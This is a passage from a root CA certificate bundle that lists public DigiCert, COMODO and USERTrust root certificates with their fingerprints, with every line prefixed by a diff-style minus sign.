-/xl/pcqs7rN2nXrpixurazHb+gtTTK/FpRp5PIpM/6zfJd5O2YIyC0TeytuMrKNu -FoM7pmRLMon7FhY4futD4tN0SsJiCnMK3UmzV9KwCoWdcTzeo8vAMvMBOSBDGzXR -U7Ox7sWTaYI+FrUoRqHe6okJ7UO4BUaKhvVZR74bbwEhELn9qdIoyhA5CcoTNs+c -ra1AdHkrAj80//ogaX3T7mH1urPnMNA3I4ZyYUUpSFlob3emLoG+B01vr87ERROR -FHAGjx+f+IdpsQ7vw4kZ6+ocYfx6bIrc1gMLnia6Et3UVDmrJqMz6nWB2i3ND0/k -A9HvFZcba5DFApCTZgIhsUfei5pKgLlVj7WiL8DWM2fafsSntARE60f75li59wzw -eyuxwHApw0BiLTtIadwjPEjrewl5qW3aqDCYz4ByA4imW0aucnl8CAMhZa634Ryl -sSqiMd5mBPfAdOhx3v89WcyWJhKLhZVXGqtrdQtEPREoPHtht+KPZ0/l7DxMYIBp -VzgeAVuNVejH38DMdyM0SXV89pgR6y3e7UEuFAUCf+D+IOs15xGsIs5XPd7JMG0Q -A4XN8f+MFrXBsj6IbGB/kE+V9/YtrQE5BwT6dYB9v0lQ7e/JxHwc64B+27bQ3RP+ -ydOc17KXqQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIB -BjAdBgNVHQ4EFgQUxhfQvKjqAkPyGwaZXSuQILnXnOQwDQYJKoZIhvcNAQELBQAD -ggIBADRh2Va1EodVTd2jNTFGu6QHcrxfYWLopfsLN7E8trP6KZ1/AvWkyaiTt3px -KGmPc+FSkNrVvjrlt3ZqVoAh313m6Tqe5T72omnHKgqwGEfcIHB9UqM+WXzBusnI -FUBhynLWcKzSt/Ac5IYp8M7vaGPQtSCKFWGafoaYtMnCdvvMujAWzKNhxnQT5Wvv -oxXqA/4Ti2Tk08HS6IT7SdEQTXlm66r99I0xHnAUrdzeZxNMgRVhvLfZkXdxGYFg -u/BYpbWcC/ePIlUnwEsBbTuZDdQdm2NnL9DuDcpmvJRPpq3t/O5jrFc/ZSXPsoaP -0Aj/uHYUbt7lJ+yreLVTubY/6CD50qi+YUbKh4yE8/nxoGibIh6BJpsQBJFxwAYf -3KDTuVan45gtf4Od34wrnDKOMpTwATwiKp9Dwi7DmDkHOHv8XgBCH/MyJnmDhPbl -8MFREsALHgQjDFSlTC9JxUrRtm5gDWv8a4uFJGS3iQ6rJUdbPM9+Sb3H6QrG2vd+ -DhcI00iX0HGS8A85PjRqHH3Y8iKuu2n0M7SmSFXRDw4m6Oy2Cy2nhTXN/VnIn9HN -PlopNLk9hM6xZdRZkZFWdSHBd575euFgndOtBBj0fOtek49TSiIp+EgrPk2GrFt/ -ywaZWWDYWGWVjUTR939+J399roD1B0y2PpxxVJkES/1Y+Zj0 ------END CERTIFICATE----- - -# Issuer: CN=DigiCert Assured ID Root G2 O=DigiCert Inc OU=www.digicert.com -# Subject: CN=DigiCert Assured ID Root G2 O=DigiCert Inc OU=www.digicert.com -# Label: "DigiCert Assured ID Root G2" -# Serial: 15385348160840213938643033620894905419 -# MD5 Fingerprint: 92:38:b9:f8:63:24:82:65:2c:57:33:e6:fe:81:8f:9d -# SHA1 Fingerprint: a1:4b:48:d9:43:ee:0a:0e:40:90:4f:3c:e0:a4:c0:91:93:51:5d:3f -# SHA256 Fingerprint: 7d:05:eb:b6:82:33:9f:8c:94:51:ee:09:4e:eb:fe:fa:79:53:a1:14:ed:b2:f4:49:49:45:2f:ab:7d:2f:c1:85 ------BEGIN CERTIFICATE----- -MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBl -MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 -d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJv -b3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQG -EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNl -cnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwggEi -MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSA -n61UQbVH35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4Htecc -biJVMWWXvdMX0h5i89vqbFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9Hp -EgjAALAcKxHad3A2m67OeYfcgnDmCXRwVWmvo2ifv922ebPynXApVfSr/5Vh88lA -bx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OPYLfykqGxvYmJHzDNw6Yu -YjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+RnlTGNAgMB -AAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQW -BBTOw0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPI -QW5pJ6d1Ee88hjZv0p3GeDgdaZaikmkuOGybfQTUiaWxMTeKySHMq2zNixya1r9I -0jJmwYrA8y8678Dj1JGG0VDjA9tzd29KOVPt3ibHtX2vK0LRdWLjSisCx1BL4Gni -lmwORGYQRI+tBev4eaymG+g3NJ1TyWGqolKvSnAWhsI6yLETcDbYz+70CjTVW0z9 -B5yiutkBclzzTcHdDrEcDcRjvq30FPuJ7KJBDkzMyFdA0G4Dqs0MjomZmWzwPDCv -ON9vvKO+KSAnq3T/EyJ43pdSVR6DtVQgA+6uwE9W3jfMw3+qBCe703e4YtsXfJwo -IhNzbM8m9Yop5w== ------END CERTIFICATE----- - -# Issuer: CN=DigiCert Assured ID Root G3 O=DigiCert Inc OU=www.digicert.com -# Subject: CN=DigiCert Assured ID Root G3 O=DigiCert Inc OU=www.digicert.com -# Label: "DigiCert Assured ID Root G3" -# Serial: 15459312981008553731928384953135426796 -# MD5 Fingerprint: 7c:7f:65:31:0c:81:df:8d:ba:3e:99:e2:5c:ad:6e:fb -# SHA1 Fingerprint: f5:17:a2:4f:9a:48:c6:c9:f8:a2:00:26:9f:dc:0f:48:2c:ab:30:89 -# SHA256 Fingerprint: 7e:37:cb:8b:4c:47:09:0c:ab:36:55:1b:a6:f4:5d:b8:40:68:0f:ba:16:6a:95:2d:b1:00:71:7f:43:05:3f:c2 ------BEGIN CERTIFICATE----- -MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQsw -CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu -ZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3Qg -RzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQGEwJV -UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu -Y29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQBgcq -hkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJf -Zn4f5dwbRXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17Q -RSAPWXYQ1qAk8C3eNvJsKTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/ -BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgFUaFNN6KDec6NHSrkhDAKBggqhkjOPQQD -AwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5FyYZ5eEJJZVrmDxxDnOOlY -JjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy1vUhZscv -6pZjamVFkpUBtA== ------END CERTIFICATE----- - -# Issuer: CN=DigiCert Global Root G2 O=DigiCert Inc OU=www.digicert.com -# Subject: CN=DigiCert Global Root G2 O=DigiCert Inc OU=www.digicert.com -# Label: "DigiCert Global Root G2" -# Serial: 4293743540046975378534879503202253541 -# MD5 Fingerprint: e4:a6:8a:c8:54:ac:52:42:46:0a:fd:72:48:1b:2a:44 -# SHA1 Fingerprint: df:3c:24:f9:bf:d6:66:76:1b:26:80:73:fe:06:d1:cc:8d:4f:82:a4 -# SHA256 Fingerprint: cb:3c:cb:b7:60:31:e5:e0:13:8f:8d:d3:9a:23:f9:de:47:ff:c3:5e:43:c1:14:4c:ea:27:d4:6a:5a:b1:cb:5f ------BEGIN CERTIFICATE----- -MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBh -MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 -d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBH -MjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAwMDBaMGExCzAJBgNVBAYTAlVT -MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j -b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkqhkiG -9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI -2/Ou8jqJkTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx -1x7e/dfgy5SDN67sH0NO3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQ -q2EGnI/yuum06ZIya7XzV+hdG82MHauVBJVJ8zUtluNJbd134/tJS7SsVQepj5Wz -tCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyMUNGPHgm+F6HmIcr9g+UQ -vIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQABo0IwQDAP -BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV -5uNu5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY -1Yl9PMWLSn/pvtsrF9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4 -NeF22d+mQrvHRAiGfzZ0JFrabA0UWTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NG -Fdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBHQRFXGU7Aj64GxJUTFy8bJZ91 -8rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/iyK5S9kJRaTe -pLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl -MrY= ------END CERTIFICATE----- - -# Issuer: CN=DigiCert Global Root G3 O=DigiCert Inc OU=www.digicert.com -# Subject: CN=DigiCert Global Root G3 O=DigiCert Inc OU=www.digicert.com -# Label: "DigiCert Global Root G3" -# Serial: 7089244469030293291760083333884364146 -# MD5 Fingerprint: f5:5d:a4:50:a5:fb:28:7e:1e:0f:0d:cc:96:57:56:ca -# SHA1 Fingerprint: 7e:04:de:89:6a:3e:66:6d:00:e6:87:d3:3f:fa:d9:3b:e8:3d:34:9e -# SHA256 Fingerprint: 31:ad:66:48:f8:10:41:38:c7:38:f3:9e:a4:32:01:33:39:3e:3a:18:cc:02:29:6e:f9:7c:2a:c9:ef:67:31:d0 ------BEGIN CERTIFICATE----- -MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQsw -CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu -ZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAe -Fw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAwMDBaMGExCzAJBgNVBAYTAlVTMRUw -EwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20x -IDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0CAQYF -K4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FG -fp4tn+6OYwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPO -Z9wj/wMco+I+o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAd -BgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNpYim8S8YwCgYIKoZIzj0EAwMDaAAwZQIx -AK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y3maTD/HMsQmP3Wyr+mt/ -oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34VOKa5Vt8 -sycX ------END CERTIFICATE----- - -# Issuer: CN=DigiCert Trusted Root G4 O=DigiCert Inc OU=www.digicert.com -# Subject: CN=DigiCert Trusted Root G4 O=DigiCert Inc OU=www.digicert.com -# Label: "DigiCert Trusted Root G4" -# Serial: 7451500558977370777930084869016614236 -# MD5 Fingerprint: 78:f2:fc:aa:60:1f:2f:b4:eb:c9:37:ba:53:2e:75:49 -# SHA1 Fingerprint: dd:fb:16:cd:49:31:c9:73:a2:03:7d:3f:c8:3a:4d:7d:77:5d:05:e4 -# SHA256 Fingerprint: 55:2f:7b:dc:f1:a7:af:9e:6c:e6:72:01:7f:4f:12:ab:f7:72:40:c7:8e:76:1a:c2:03:d1:d9:d2:0a:c8:99:88 ------BEGIN CERTIFICATE----- -MIIFkDCCA3igAwIBAgIQBZsbV56OITLiOQe9p3d1XDANBgkqhkiG9w0BAQwFADBi -MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 -d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3Qg -RzQwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBiMQswCQYDVQQGEwJV -UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu -Y29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0GCSqG -SIb3DQEBAQUAA4ICDwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3y -ithZwuEppz1Yq3aaza57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1If -xp4VpX6+n6lXFllVcq9ok3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDV -ySAdYyktzuxeTsiT+CFhmzTrBcZe7FsavOvJz82sNEBfsXpm7nfISKhmV1efVFiO -DCu3T6cw2Vbuyntd463JT17lNecxy9qTXtyOj4DatpGYQJB5w3jHtrHEtWoYOAMQ -jdjUN6QuBX2I9YI+EJFwq1WCQTLX2wRzKm6RAXwhTNS8rhsDdV14Ztk6MUSaM0C/ -CNdaSaTC5qmgZ92kJ7yhTzm1EVgX9yRcRo9k98FpiHaYdj1ZXUJ2h4mXaXpI8OCi -EhtmmnTK3kse5w5jrubU75KSOp493ADkRSWJtppEGSt+wJS00mFt6zPZxd9LBADM -fRyVw4/3IbKyEbe7f/LVjHAsQWCqsWMYRJUadmJ+9oCw++hkpjPRiQfhvbfmQ6QY -uKZ3AeEPlAwhHbJUKSWJbOUOUlFHdL4mrLZBdd56rF+NP8m800ERElvlEFDrMcXK -chYiCd98THU/Y+whX8QgUWtvsauGi0/C1kVfnSD8oR7FwI+isX4KJpn15GkvmB0t -9dmpsh3lGwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIB -hjAdBgNVHQ4EFgQU7NfjgtJxXWRM3y5nP+e6mK4cD08wDQYJKoZIhvcNAQEMBQAD -ggIBALth2X2pbL4XxJEbw6GiAI3jZGgPVs93rnD5/ZpKmbnJeFwMDF/k5hQpVgs2 -SV1EY+CtnJYYZhsjDT156W1r1lT40jzBQ0CuHVD1UvyQO7uYmWlrx8GnqGikJ9yd -+SeuMIW59mdNOj6PWTkiU0TryF0Dyu1Qen1iIQqAyHNm0aAFYF/opbSnr6j3bTWc -fFqK1qI4mfN4i/RN0iAL3gTujJtHgXINwBQy7zBZLq7gcfJW5GqXb5JQbZaNaHqa -sjYUegbyJLkJEVDXCLG4iXqEI2FCKeWjzaIgQdfRnGTZ6iahixTXTBmyUEFxPT9N -cCOGDErcgdLMMpSEDQgJlxxPwO5rIHQw0uA5NBCFIRUBCOhVMt5xSdkoF1BN5r5N -0XWs0Mr7QbhDparTwwVETyw2m+L64kW4I1NsBm9nVX9GtUw/bihaeSbSpKhil9Ie -4u1Ki7wb/UdKDd9nZn6yW0HQO+T0O/QEY+nvwlQAUaCKKsnOeMzV6ocEGLPOr0mI -r/OSmbaz5mEP0oUA51Aa5BuVnRmhuZyxm7EAHu/QD09CbMkKvO5D+jpxpchNJqU1 -/YldvIViHTLSoCtU7ZpXwdv6EM8Zt4tKG48BtieVU+i2iW1bvGjUI+iLUaJW+fCm -gKDWHrO8Dw9TdSmq6hN35N6MgSGtBxBHEa2HPQfRdbzP82Z+ ------END CERTIFICATE----- - -# Issuer: CN=COMODO RSA Certification Authority O=COMODO CA Limited -# Subject: CN=COMODO RSA Certification Authority O=COMODO CA Limited -# Label: "COMODO RSA Certification Authority" -# Serial: 101909084537582093308941363524873193117 -# MD5 Fingerprint: 1b:31:b0:71:40:36:cc:14:36:91:ad:c4:3e:fd:ec:18 -# SHA1 Fingerprint: af:e5:d2:44:a8:d1:19:42:30:ff:47:9f:e2:f8:97:bb:cd:7a:8c:b4 -# SHA256 Fingerprint: 52:f0:e1:c4:e5:8e:c6:29:29:1b:60:31:7f:07:46:71:b8:5d:7e:a8:0d:5b:07:27:34:63:53:4b:32:b4:02:34 ------BEGIN CERTIFICATE----- -MIIF2DCCA8CgAwIBAgIQTKr5yttjb+Af907YWwOGnTANBgkqhkiG9w0BAQwFADCB -hTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4G -A1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNV -BAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAwMTE5 -MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0IxGzAZBgNVBAgT -EkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR -Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNh -dGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCR -6FSS0gpWsawNJN3Fz0RndJkrN6N9I3AAcbxT38T6KhKPS38QVr2fcHK3YX/JSw8X -pz3jsARh7v8Rl8f0hj4K+j5c+ZPmNHrZFGvnnLOFoIJ6dq9xkNfs/Q36nGz637CC -9BR++b7Epi9Pf5l/tfxnQ3K9DADWietrLNPtj5gcFKt+5eNu/Nio5JIk2kNrYrhV -/erBvGy2i/MOjZrkm2xpmfh4SDBF1a3hDTxFYPwyllEnvGfDyi62a+pGx8cgoLEf -Zd5ICLqkTqnyg0Y3hOvozIFIQ2dOciqbXL1MGyiKXCJ7tKuY2e7gUYPDCUZObT6Z -+pUX2nwzV0E8jVHtC7ZcryxjGt9XyD+86V3Em69FmeKjWiS0uqlWPc9vqv9JWL7w -qP/0uK3pN/u6uPQLOvnoQ0IeidiEyxPx2bvhiWC4jChWrBQdnArncevPDt09qZah -SL0896+1DSJMwBGB7FY79tOi4lu3sgQiUpWAk2nojkxl8ZEDLXB0AuqLZxUpaVIC -u9ffUGpVRr+goyhhf3DQw6KqLCGqR84onAZFdr+CGCe01a60y1Dma/RMhnEw6abf -Fobg2P9A3fvQQoh/ozM6LlweQRGBY84YcWsr7KaKtzFcOmpH4MN5WdYgGq/yapiq -crxXStJLnbsQ/LBMQeXtHT1eKJ2czL+zUdqnR+WEUwIDAQABo0IwQDAdBgNVHQ4E -FgQUu69+Aj36pvE8hI6t7jiY7NkyMtQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB -/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAArx1UaEt65Ru2yyTUEUAJNMnMvl -wFTPoCWOAvn9sKIN9SCYPBMtrFaisNZ+EZLpLrqeLppysb0ZRGxhNaKatBYSaVqM -4dc+pBroLwP0rmEdEBsqpIt6xf4FpuHA1sj+nq6PK7o9mfjYcwlYRm6mnPTXJ9OV -2jeDchzTc+CiR5kDOF3VSXkAKRzH7JsgHAckaVd4sjn8OoSgtZx8jb8uk2Intzna -FxiuvTwJaP+EmzzV1gsD41eeFPfR60/IvYcjt7ZJQ3mFXLrrkguhxuhoqEwWsRqZ -CuhTLJK7oQkYdQxlqHvLI7cawiiFwxv/0Cti76R7CZGYZ4wUAc1oBmpjIXUDgIiK -boHGhfKppC3n9KUkEEeDys30jXlYsQab5xoq2Z0B15R97QNKyvDb6KkBPvVWmcke -jkk9u+UJueBPSZI9FoJAzMxZxuY67RIuaTxslbH9qh17f4a+Hg4yRvv7E491f0yL -S0Zj/gA0QHDBw7mh3aZw4gSzQbzpgJHqZJx64SIDqZxubw5lT2yHh17zbqD5daWb -QOhTsiedSrnAdyGN/4fy3ryM7xfft0kL0fJuMAsaDk527RH89elWsn2/x20Kk4yl -0MC2Hb46TpSi125sC8KKfPog88Tk5c0NqMuRkrF8hey1FGlmDoLnzc7ILaZRfyHB -NVOFBkpdn627G190 ------END CERTIFICATE----- - -# Issuer: CN=USERTrust RSA Certification Authority O=The USERTRUST Network -# Subject: CN=USERTrust RSA Certification Authority O=The USERTRUST Network -# Label: "USERTrust RSA Certification Authority" -# Serial: 2645093764781058787591871645665788717 -# MD5 Fingerprint: 1b:fe:69:d1:91:b7:19:33:a3:72:a8:0f:e1:55:e5:b5 -# SHA1 Fingerprint: 2b:8f:1b:57:33:0d:bb:a2:d0:7a:6c:51:f7:0e:e9:0d:da:b9:ad:8e -# SHA256 Fingerprint: e7:93:c9:b0:2f:d8:aa:13:e2:1c:31:22:8a:cc:b0:81:19:64:3b:74:9c:89:89:64:b1:74:6d:46:c3:d4:cb:d2 ------BEGIN CERTIFICATE----- -MIIF3jCCA8agAwIBAgIQAf1tMPyjylGoG7xkDjUDLTANBgkqhkiG9w0BAQwFADCB -iDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0pl -cnNleSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNV -BAMTJVVTRVJUcnVzdCBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAw -MjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMCVVMxEzARBgNV -BAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU -aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBSU0EgQ2Vy -dGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIK -AoICAQCAEmUXNg7D2wiz0KxXDXbtzSfTTK1Qg2HiqiBNCS1kCdzOiZ/MPans9s/B -3PHTsdZ7NygRK0faOca8Ohm0X6a9fZ2jY0K2dvKpOyuR+OJv0OwWIJAJPuLodMkY -tJHUYmTbf6MG8YgYapAiPLz+E/CHFHv25B+O1ORRxhFnRghRy4YUVD+8M/5+bJz/ -Fp0YvVGONaanZshyZ9shZrHUm3gDwFA66Mzw3LyeTP6vBZY1H1dat//O+T23LLb2 -VN3I5xI6Ta5MirdcmrS3ID3KfyI0rn47aGYBROcBTkZTmzNg95S+UzeQc0PzMsNT -79uq/nROacdrjGCT3sTHDN/hMq7MkztReJVni+49Vv4M0GkPGw/zJSZrM233bkf6 -c0Plfg6lZrEpfDKEY1WJxA3Bk1QwGROs0303p+tdOmw1XNtB1xLaqUkL39iAigmT -Yo61Zs8liM2EuLE/pDkP2QKe6xJMlXzzawWpXhaDzLhn4ugTncxbgtNMs+1b/97l -c6wjOy0AvzVVdAlJ2ElYGn+SNuZRkg7zJn0cTRe8yexDJtC/QV9AqURE9JnnV4ee -UB9XVKg+/XRjL7FQZQnmWEIuQxpMtPAlR1n6BB6T1CZGSlCBst6+eLf8ZxXhyVeE -Hg9j1uliutZfVS7qXMYoCAQlObgOK6nyTJccBz8NUvXt7y+CDwIDAQABo0IwQDAd -BgNVHQ4EFgQUU3m/WqorSs9UgOHYm8Cd8rIDZsswDgYDVR0PAQH/BAQDAgEGMA8G -A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAFzUfA3P9wF9QZllDHPF -Up/L+M+ZBn8b2kMVn54CVVeWFPFSPCeHlCjtHzoBN6J2/FNQwISbxmtOuowhT6KO -VWKR82kV2LyI48SqC/3vqOlLVSoGIG1VeCkZ7l8wXEskEVX/JJpuXior7gtNn3/3 -ATiUFJVDBwn7YKnuHKsSjKCaXqeYalltiz8I+8jRRa8YFWSQEg9zKC7F4iRO/Fjs -8PRF/iKz6y+O0tlFYQXBl2+odnKPi4w2r78NBc5xjeambx9spnFixdjQg3IM8WcR -iQycE0xyNN+81XHfqnHd4blsjDwSXWXavVcStkNr/+XeTWYRUc+ZruwXtuhxkYze -Sf7dNXGiFSeUHM9h4ya7b6NnJSFd5t0dCy5oGzuCr+yDZ4XUmFF0sbmZgIn/f3gZ -XHlKYC6SQK5MNyosycdiyA5d9zZbyuAlJQG03RoHnHcAP9Dc1ew91Pq7P8yF1m9/ -qS3fuQL39ZeatTXaw2ewh0qpKJ4jjv9cJ2vhsE/zB+4ALtRZh8tSQZXq9EfX7mRB -VXyNWQKV3WKdwrnuWih0hKWbt5DHDAff9Yk2dDLWKMGwsAvgnEzDHNb842m1R0aB -L6KCq9NjRHDEjf8tM7qtj3u1cIiuPhnPQCjY/MiQu12ZIvVS5ljFH4gxQ+6IHdfG -jjxDah2nGN59PRbxYvnKkKj9 ------END CERTIFICATE----- - -# Issuer: CN=USERTrust ECC Certification Authority O=The USERTRUST Network -# Subject: CN=USERTrust ECC Certification Authority O=The USERTRUST Network -# Label: "USERTrust ECC Certification Authority" -# Serial: 123013823720199481456569720443997572134 -# MD5 Fingerprint: fa:68:bc:d9:b5:7f:ad:fd:c9:1d:06:83:28:cc:24:c1 -# SHA1 Fingerprint: d1:cb:ca:5d:b2:d5:2a:7f:69:3b:67:4d:e5:f0:5a:1d:0c:95:7d:f0 -# SHA256 Fingerprint: 4f:f4:60:d5:4b:9c:86:da:bf:bc:fc:57:12:e0:40:0d:2b:ed:3f:bc:4d:4f:bd:aa:86:e0:6a:dc:d2:a9:ad:7a ------BEGIN CERTIFICATE----- -MIICjzCCAhWgAwIBAgIQXIuZxVqUxdJxVt7NiYDMJjAKBggqhkjOPQQDAzCBiDEL -MAkGA1UEBhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNl -eSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMT -JVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAwMjAx -MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMCVVMxEzARBgNVBAgT -Ck5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVUaGUg -VVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlm -aWNhdGlvbiBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQarFRaqflo -I+d61SRvU8Za2EurxtW20eZzca7dnNYMYf3boIkDuAUU7FfO7l0/4iGzzvfUinng -o4N+LZfQYcTxmdwlkWOrfzCjtHDix6EznPO/LlxTsV+zfTJ/ijTjeXmjQjBAMB0G -A1UdDgQWBBQ64QmG1M8ZwpZ2dEl23OA1xmNjmjAOBgNVHQ8BAf8EBAMCAQYwDwYD -VR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjA2Z6EWCNzklwBBHU6+4WMB -zzuqQhFkoJ2UOQIReVx7Hfpkue4WQrO/isIJxOzksU0CMQDpKmFHjFJKS04YcPbW -RNZu9YO6bVi9JNlWSOrvxKJGgYhqOkbRqZtNyWHa0V1Xahg= 